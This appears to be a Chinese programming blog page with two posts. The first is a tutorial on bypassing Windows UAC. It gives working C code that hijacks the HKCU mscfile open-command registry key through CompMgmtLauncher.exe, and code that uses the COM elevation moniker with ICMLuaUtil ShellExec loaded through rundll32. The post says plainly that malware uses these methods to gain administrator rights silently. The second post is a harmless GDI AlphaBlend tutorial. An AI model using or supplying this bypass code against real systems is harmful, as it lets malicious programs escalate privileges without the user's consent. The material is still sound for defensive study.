Foooooooood的文章

  • Bypass UAC 提权小结

    背景UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
    UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。
    在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
    所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。接下来,分别介绍这两种Bypass UAC的实现方法。
    6.2.1 基于白名单程序Bypass UAC有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
    接下来,选取白名单程序CompMgmtLauncher.exe计算机管理程序进行详细分析,利用它实现Bypass UAC提权。下述的分析过程是在64位Windows 10操作系统上完成的,使用到的关键工具软件是进程监控器Procmon.exe。
    实现过程首先,直接到System32目录下运行CompMgmtLauncher.exe程序,并没有出现UAC弹窗,直接显示计算机管理的窗口界面。其中,使用进程监控器Procmon.exe来监控CompMgmtLauncher.exe进程的所有操作行为,主要是监控注册表和文件的操作。通过分析Procmon.exe的监控数据发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\Software\Classes\mscfile\shell\open\command中数据,发现该路径不存在后,继续查询注册表HKCR\mscfile\shell\open\command\(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息,如图6-1所示。然后,CompMgmtLauncher.exe会根据读取到的路径启动程序,显示计算机管理的窗口界面。

    在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表HKCU\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe,然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如图6-2所示。

    查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取HKCU\Software\Classes\mscfile\shell\open\command\(Default)注册表路径中的数据并启动,如图6-3所示。

    所以,利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理便是,程序自己创建并添加注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default),并写入自定义的程序路径。接着,运行CompMgmtLauncher.exe程序,完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER注册表是用户注册表,程序使用普通权限即可进行修改。
    那么,基于CompMgmtLauncher.exe白名单程序Bypass UAC具体实现代码如下所示。
    // 修改注册表BOOL SetReg(char *lpszExePath){ HKEY hKey = NULL; // 创建项 ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); if (NULL == hKey) { ShowError("RegCreateKeyEx"); return FALSE; } // 设置键值 ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath))); // 关闭注册表 ::RegCloseKey(hKey); return TRUE;}
    测试直接运行上述程序,向注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default)中写入cmd.exe的路径,启动cmd.exe进程。cmd.exe成功启动,窗口标题显示管理员字样,如图6-4所示。

    6.2.2 基于COM组件接口Bypass UACCOM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
    使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。
    那么,COM提升名称具体的实现代码如下所示。
    HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){ BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM环境 ::CoInitialize(NULL); // 构造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 设置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; // 创建名称对象并获取COM对象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr;}
    执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。
    那么,基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示。
    BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable){ HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil *CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); // 提权 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; } // 启动程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; } bRet = TRUE; }while(FALSE); // 释放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet;}
    要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。
    其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。
    // 导出函数给rundll32.exe调用执行void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)测试将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,如图6-5所示。

    小结对于上述基于白名单程序实现Bypass UAC的程序编译为32位程序,测试环境运行在64位Windows 10系统上。当32位程序访问64位的System32文件目录的时候,会出现文件重定向,可以调用Wow64DisableWow64FsRedirection和Wow64RevertWow64FsRedirection函数来关闭和恢复文件重定向。而且,32位在操作64位系统的注册表的时候,也会出现注册表重定向的情况,可以在调用RegCreateKeyEx函数打开注册表的时候,设置KEY_WOW64_64KEY注册表访问权限,以确保能正确访问64位下的注册表,不被注册表重定向。
    对于上述基于COM组件接口技术实现Bypass UAC的程序编译为DLL项目工程,通过被可信程序类似rundll32.exe加载调用方可不弹窗Bypass UAC。调用COM函数之前,一定要先调用CoInitialize函数来初始化COM环境,否则调用COM接口函数失败。
    实现Bypass UAC的方法很多,并不局限于白名单程序和COM接口技术。不同的Bypass UAC方法,其具体的实现过程大都不一样。随着操作系统的升级更新,现在Bypass UAC成功的方法,可能在以后不再适用,但,也会有新的Bypass UAC的方法出现,攻与防是相互博弈的过程。
    对这方面技术感兴趣的读者,可以到GITHUB开源平台上搜索UACME的开源项目,里面收集了很多关于Bypass UAC的方法。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-01-08 08:36:38
  • 使用AlphaBlend函数实现位图半透明绘制

    背景自己使用VC和VS写过很多小游戏,而且不是用现成的游戏引擎,纯粹是使用GDI函数来进行绘图。所以,积累了一些绘图的经验。
    那么,对于位图半透明的绘制,在小游戏中使用也比较多。例如烟雾、光等之类的绘制。在没有了解 AlphaBlend 函数之前,绘制半透明位图都是获取两张图片的RGB数据,然后按指定透明度计算出混合后的RGB的值,再显示出来。这样,需要自己计算的过程,算是麻烦。而现在,AlphaBlend 函数直接封装了这步操作,提供了方便使用的接口。
    现在,我们就来介绍使用 AlphaBlend 函数绘制半透明位图,写成文档,分享给大家。
    函数介绍AlphaBlend 函数
    该函数用来显示具有指定透明度的图像。
    函数声明
    AlphaBlend( HDC hdcDest, int nXOriginDest, int nYOriginDest, int nWidthDest, int hHeightDest, HDC hdcSrc, int nXOriginSrc, int nYOriginSrc, int nWidthSrc, int nHeightSrc, BLENDFUNCTION blendFunction );
    参数

    hdcDest:指向目标设备环境的句柄。
    nXOriginDest:指定目标矩形区域左上角的X轴坐标,按逻辑单位。
    nYOriginDest:指定目标矩形区域左上角的Y轴坐标,按逻辑单位。
    nWidthDest:指定目标矩形区域的宽度,按逻辑单位。
    hHeightdest:指向目标矩形区域的高度,按逻辑单位。
    hdcSrc:指向源设备环境的句柄。
    nXOriginSrc:指定源矩形区域左上角的X轴坐标,按逻辑单位。
    nYOriginSrc:指定源矩形区域左上角的Y轴坐标,按逻辑单位。
    nWidthSrc:指定源矩形区域的宽度,按逻辑单位。
    nHeightSrc:指定源矩形区域的高度,按逻辑单位。
    blendFunction:指定用于源位图和目标位图使用的alpha混合功能,用于整个源位图的全局alpha值和格式信息。最后一个参数blendFunction是一个BLENDFUNCTION结构。
    BLENDFUNCTION结构介绍如下:
    typedef struct _BLENDFUNCTION {​ BYTE BlendOp;​ BYTE BlendFlags;​ BYTE SourceConstantAlpha;​ BYTE AlphaFormat;}BLENDFUNCTION, PBLENDFUNCTION, LPBLENDFUNCTION;
    BlendOp: 这个参数必须也只能为AC_SRC_OVER(0x00),意思就是把源图片覆盖到目标之上。
    BlendFlags: 必须为0 。
    SourceConstantAlpha: 简写为SCA,指定源图片的透明度,这个值是会和源图片的Alpha通道值合并计算的;即设置透明度,0为完全透明,255为完全不透明 。
    AlphaFormat: 可以填两种,一种是0x00,一种是AC_SRC_ALPHA (0x01);0表示常量alpha值,AC_SRC_ALPHA表示每个像素有各自的alpha通道。

    返回值

    如果函数执行成功,那么返回值为TRUE;如果函数执行失败,那么返回值为FALSE。

    透明度绘制介绍下面,我们举例说明,什么是透明度绘制。现在,有两张位图,一张是背景图:

    另一张是其它图片:

    那么,半透明绘制,就是要将两张图片绘制在一起,实现下面的效果:

    实现原理半透明位图绘制的功能实现,主要是靠 AlphaBlend 函数完成的。AlphaBlend 函数的最后一个参数 BLENDFUNCTION 结构指定用于源位图和目标位图使用的alpha混合功能。
    其中,BLENDFUNCTION 结构的 SourceConstantAlpha 变量,指定了源图片的透明度,这个值是会和源图片的 Alpha 通道值合并计算的;即设置透明度,0为完全透明,255为完全不透明 。也就是说,只要我们控制这个变量的值,就控制了位图绘制的透明度。
    编码实现导入库文件#include <WinGDI.h>#pragma comment(lib, "Msimg32.lib")
    绘制背景位图BOOL PaintBmp(HWND hWnd){ // 获取窗口的客户区域的显示设备上下文环境的句柄 HDC hDC = ::GetDC(hWnd); // 创建一个与hDC兼容的内存设备上下文环境 HDC hBuf = ::CreateCompatibleDC(hDC); // 加载位图, 获取位图句柄 HBITMAP hBmp = (HBITMAP)::LoadImage(NULL, "image\\bg.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE); // 选择位图句柄到hBuf中, 并获取返回的原来位图句柄 HBITMAP hOldBmp = (HBITMAP)::SelectObject(hBuf, hBmp); // 绘图 ::BitBlt(hDC, 0, 0, 764, 397, hBuf, 0, 0, SRCCOPY); // 还原位图对象 ::SelectObject(hBuf, hOldBmp); // 释放位图 ::DeleteObject(hBmp); // 释放兼容的内存设备上下文环境 ::DeleteDC(hBuf); // 释放设备上下文环境 ::ReleaseDC(hWnd, hDC); return TRUE;}
    指定透明度绘制BOOL PaintAlphaBlendBmp(HWND hWnd){ // 获取窗口的客户区域的显示设备上下文环境的句柄 HDC hDC = ::GetDC(hWnd); // 创建一个与hDC兼容的内存设备上下文环境 HDC hBuf = ::CreateCompatibleDC(hDC); // 加载位图, 获取位图句柄 HBITMAP hBmp = (HBITMAP)::LoadImage(NULL, "image\\1.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE); // 选择位图句柄到hBuf中, 并获取返回的原来位图句柄 HBITMAP hOldBmp = (HBITMAP)::SelectObject(hBuf, hBmp); // 设置透明度参数 BLENDFUNCTION ftn = { 0 }; ftn.BlendOp = 0; ftn.BlendFlags = 0; ftn.SourceConstantAlpha = 200; // 透明度指定 ftn.AlphaFormat = 0; // 指定透明度绘制 ::AlphaBlend(hDC, 0, 0, 650, 350, hBuf, 0, 0, 650, 350, ftn); // 还原位图对象 ::SelectObject(hBuf, hOldBmp); // 释放位图 ::DeleteObject(hBmp); // 释放兼容的内存设备上下文环境 ::DeleteDC(hBuf); // 释放设备上下文环境 ::ReleaseDC(hWnd, hDC); return TRUE;}
    程序测试调用上述封装好的函数进行测试,两幅位图成功按照指定的透明度混合显示:

    总结这个小程序重点是要理解 AlphaBlend 函数的使用方式,可以自己更改透明度的值尝试几次,加深理解。这个函数同样支持对位图伸缩绘制,使用起来比较灵活。
    2  留言 2018-12-20 12:36:17
eject